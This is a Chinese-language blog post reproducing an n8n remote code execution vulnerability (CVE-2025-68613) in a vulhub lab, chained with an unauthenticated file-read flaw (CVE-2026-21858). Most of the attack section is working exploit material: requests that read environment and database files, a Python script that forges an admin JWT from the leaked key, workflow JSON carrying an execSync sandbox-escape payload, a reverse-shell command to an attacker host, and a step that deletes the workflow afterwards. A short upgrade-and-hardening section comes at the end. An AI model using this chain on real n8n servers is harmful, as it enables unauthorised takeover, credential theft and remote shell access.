n8n表达式沙箱逃逸至RCE漏洞-CVE-2025-68613复现

清溪5492026-06-01 18:03

n8n表达式沙箱逃逸至RCE漏洞-CVE-2025-68613

简介

n8n是一个开源的工作流自动化平台，允许用户通过可视化节点界面连接各种服务。

CVE-2025-68613是n8n服务端表达式求值引擎中的一个严重漏洞（CVSS 9.9），影响版本0.211.0至1.120.3 。n8n允许用户在工作流节点参数中嵌入{{ }}包裹的JavaScript表达式，这些表达式在运行时由服务端求值。由于沙箱隔离不充分，经过身份认证的用户可以构造恶意表达式逃逸预期的执行上下文，访问Node.js的process全局对象，并利用child_process.execSync()以n8n进程权限执行任意操作系统命令。虽然该漏洞需要身份认证，但可以与CVE-2026-21858（通过Content-Type混淆实现的未授权任意文件读取）组合利用，实现未授权远程代码执行。

靶场搭建

n8n Version: 1.65.0

bash 复制代码 
# vulhub
cd vulhub/n8n/CVE-2025-68613
docker-compose up -d

访问 http://ip:5678

管理员账户：admin@vulhub.org / Vulhub123

上传端点：/form/vulnerable-form

vulhub自带exp:exploit.py

复现

联动CVE-2026-21858

CVE-2026-21858：1.65.0 <= n8n < 1.121.0 (NVD - CVE-2026-21858)

往路径 /form/vulnerable-form发送数据包

获取加密密钥
http 复制代码 
POST /form/vulnerable-form HTTP/1.1
Host: 10.143.240.136:5678
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json

{
  "data": {},
  "files": {
    "f-abc123": {
      "filepath": "/proc/self/environ",
      "originalFilename": "payload.bin",
      "mimetype": "application/octet-stream",
      "size": 50000
    }
  }
}

得出家目录/root，读取 /root/.n8n/config文件，获取加密密钥

json 复制代码 
{
	"encryptionKey": "FgjsgVl8FcUaQrny8/J2rOuNssPIsOen"
}
用户凭据

读取数据库文件

bash 复制代码 
curl -s http://10.143.240.136:5678/form/vulnerable-form -H "Content-Type: application/json" -d '{"data":{},"files":{"f-1":{"filepath":"/root/.n8n/database.sqlite","originalFilename":"a.bin","mimetype":"application/octet-stream","size":50000}}}' -o database.sqlite

获取用户凭据

bash 复制代码 
sqlite3 database.sqlite
sqlite> SELECT id, email, password FROM user WHERE role='global:owner';
plaintext 复制代码 
360b3c02-7936-457f-a920-25d22121bf82|admin@vulhub.org|$2a$10$rM6Uicv7X.RfH1.YfaQVXuT0JMIHOizbtuMOcFjk3CPvwETigphba
伪造JWT
python 复制代码 
import jwt, hashlib
from base64 import b64encode

key = "FgjsgVl8FcUaQrny8/J2rOuNssPIsOen"
uid = "360b3c02-7936-457f-a920-25d22121bf82"
email = "admin@vulhub.org"
pw_hash = "$2a$10$rM6Uicv7X.RfH1.YfaQVXuT0JMIHOizbtuMOcFjk3CPvwETigphba"

secret = hashlib.sha256(key[::2].encode()).hexdigest()
h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]

token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
print(f"n8n-auth={token}")

生成的token

ini 复制代码 
n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2MGIzYzAyLTc5MzYtNDU3Zi1hOTIwLTI1ZDIyMTIxYmY4MiIsImhhc2giOiJWWjZiK1hqbGtoIn0.bEYjBiRxi6O83VQANDa9ttvwr9HChxxYIwyPzUjS7Yw
验证
bash 复制代码 
curl http://10.143.240.136:5678/rest/users -H "Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2MGIzYzAyLTc5MzYtNDU3Zi1hOTIwLTI1ZDIyMTIxYmY4MiIsImhhc2giOiJWWjZiK1hqbGtoIn0.bEYjBiRxi6O83VQANDa9ttvwr9HChxxYIwyPzUjS7Yw"

通过对比发现cookie有效

创建工作流

http 复制代码 
POST /rest/workflows HTTP/1.1
Host: 10.143.240.136:5678
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.143.240.136:5678/form/vulnerable-form
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2MGIzYzAyLTc5MzYtNDU3Zi1hOTIwLTI1ZDIyMTIxYmY4MiIsImhhc2giOiJWWjZiK1hqbGtoIn0.bEYjBiRxi6O83VQANDa9ttvwr9HChxxYIwyPzUjS7Yw
Content-Type: application/json

{
  "name": "exploit-workflow",
  "active": false,
  "nodes": [
    {
      "parameters": {},
      "name": "Trigger",
      "type": "n8n-nodes-base.manualTrigger",
      "typeVersion": 1,
      "position": [250, 300]
    },
    {
      "parameters": {
        "values": {
          "string": [
            {
              "name": "result",
              "value": "={{ (function() { var require = this.process.mainModule.require; var execSync = require(\"child_process\").execSync; return execSync(\"whoami\").toString(); })() }}"
            }
          ]
        }
      },
      "name": "RCE",
      "type": "n8n-nodes-base.set",
      "typeVersion": 2,
      "position": [450, 300]
    }
  ],
  "connections": {
    "Trigger": {
      "main": [
        [
          {
            "node": "RCE",
            "type": "main",
            "index": 0
          }
        ]
      ]
    }
  },
  "settings": {}
}

工作流id：h2Ee7iIss7wSfInm

执行工作流

http 复制代码 
POST /rest/workflows/h2Ee7iIss7wSfInm/run HTTP/1.1
Host: 10.143.240.136:5678
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.143.240.136:5678/form/vulnerable-form
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2MGIzYzAyLTc5MzYtNDU3Zi1hOTIwLTI1ZDIyMTIxYmY4MiIsImhhc2giOiJWWjZiK1hqbGtoIn0.bEYjBiRxi6O83VQANDa9ttvwr9HChxxYIwyPzUjS7Yw
Content-Type: application/json

{
  "workflowData": {
    "id": "h2Ee7iIss7wSfInm",
    "name": "exploit-workflow",
    "active": false,
    "nodes": [
    {
      "parameters": {},
      "name": "Trigger",
      "type": "n8n-nodes-base.manualTrigger",
      "typeVersion": 1,
      "position": [250, 300]
    },
    {
      "parameters": {
        "values": {
          "string": [
            {
              "name": "result",
              "value": "={{ (function() { var require = this.process.mainModule.require; var execSync = require(\"child_process\").execSync; return execSync(\"whoami\").toString(); })() }}"
            }
          ]
        }
      },
      "name": "RCE",
      "type": "n8n-nodes-base.set",
      "typeVersion": 2,
      "position": [450, 300]
    }
  ],
    "connections": {
    "Trigger": {
      "main": [
        [
          {
            "node": "RCE",
            "type": "main",
            "index": 0
          }
        ]
      ]
    }
  },
    "settings": {}
  }
}

查看结果

记下executionId:39

http 复制代码 
GET /rest/executions/39 HTTP/1.1
Host: 10.143.240.136:5678
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2MGIzYzAyLTc5MzYtNDU3Zi1hOTIwLTI1ZDIyMTIxYmY4MiIsImhhc2giOiJWWjZiK1hqbGtoIn0.bEYjBiRxi6O83VQANDa9ttvwr9HChxxYIwyPzUjS7Yw

将whoami 改为env

反弹shell：

在执行工作流 数据包中将 whoami 替换成 bash -c 'bash -i >& /dev/tcp/attcker-ip/4343 0>&1'

删除工作流

http 复制代码 
DELETE /rest/workflows/h2Ee7iIss7wSfInm HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2MGIzYzAyLTc5MzYtNDU3Zi1hOTIwLTI1ZDIyMTIxYmY4MiIsImhhc2giOiJWWjZiK1hqbGtoIn0.bEYjBiRxi6O83VQANDa9ttvwr9HChxxYIwyPzUjS7Yw
Host: 10.143.240.136:5678
Referer: http://10.143.240.136:5678/form/vulnerable-form

手动

在登录页面"F12"打开开发者工具，"应用(Application)"中添加cookie

刷新页面进入管理页面后添加工作流

"Add first step..."

搜索"Manual Trigger"并点击

再搜索"Edit Fields(Set)"并点击

"Drag input fields here or Add Field"

name字段命名为"result"，string字段输入

java 复制代码 
{{ (function(){ return this.process.mainModule.require('child_process').execSync('env').toString() })() }}

选择"Expression"，"Test step"执行代码

借鉴：复现n8n RCE（CVE-2025-68613）CVSS 9.9漏洞利用详细版-腾讯云开发者社区-腾讯云

exp利用

bash 复制代码 
python exploit.py http://ip:5678 /form/vulnerable-form --cmd env

防御

  • 升级到1.122.0 或更高版本

  • 仅允许完全可信用户创建和编辑工作流

  • 在受控环境中部署 n8n，限制操作系统权限和网络访问

相关推荐
竹林8183 小时前
用 wagmi v2 + viem 监听链上事件，我踩了三天坑终于搞懂了实时日志与历史补全
javascript
只一3 小时前
😭从回调地狱到 async/await：一文打通 Ajax 与 JS 异步编程
javascript
weedsfly3 小时前
语法糖褪去之后——Babel 转译产物中的 JavaScript 本貌
前端·javascript
JustHappy3 小时前
「软件设计思想杂谈🤔」“切图仔”也能懂编译原理？框架源码也许没那么难。聊聊 Vue 的编译（上）
前端·javascript·vue.js
晓得迷路了4 小时前
栗子前端技术周刊第 134 期 - React Router v8、TypeScript 7 RC、React Native 0.86...
前端·javascript·react.js
代码煮茶20 小时前
React 组件封装方法论 —— 以 Todo App 为例
javascript·react.js
任沫20 小时前
Agent之Function Call
javascript·人工智能·go
默_笙21 小时前
🛬 我让 AI 帮我写了一个打飞机游戏，结果 Canvas 把我整不会了
前端·javascript
梯度不陡21 小时前
AI 到底能不能从零写软件？ProgramBench 和 RepoZero 给出了两种答案
前端·javascript·面试
胡萝卜术1 天前
滑动窗口最大值：从暴力到单调队列，层层优化全解析
前端·javascript·面试
热门推荐
012026年6月AI大模型全景报告：GPT-5.6、Claude Opus 4.8、Gemini 3.5，中美AI三足鼎立谁主沉浮？022026年6月AI行业全景：从百模大战到Agent元年，这30天发生了什么？032026 年 AI 编程工具终极横评：Cursor vs Claude Code vs Copilot vs Windsurf04【AI】2026 年具身智能模型和世界模型总结05GitHub 镜像站点06AI科技热点日报 | 2026年6月1日07Claude Code、Codex、Cursor三分天下：2026年AI编程Agent生态全景剖析08AI一周事件 · 2026-06-03 至 2026-06-0909上线仅72小时被强制下架：Claude Fable 5 的短命10Codex 下载安装指南：Windows 和 macOS 官方版下载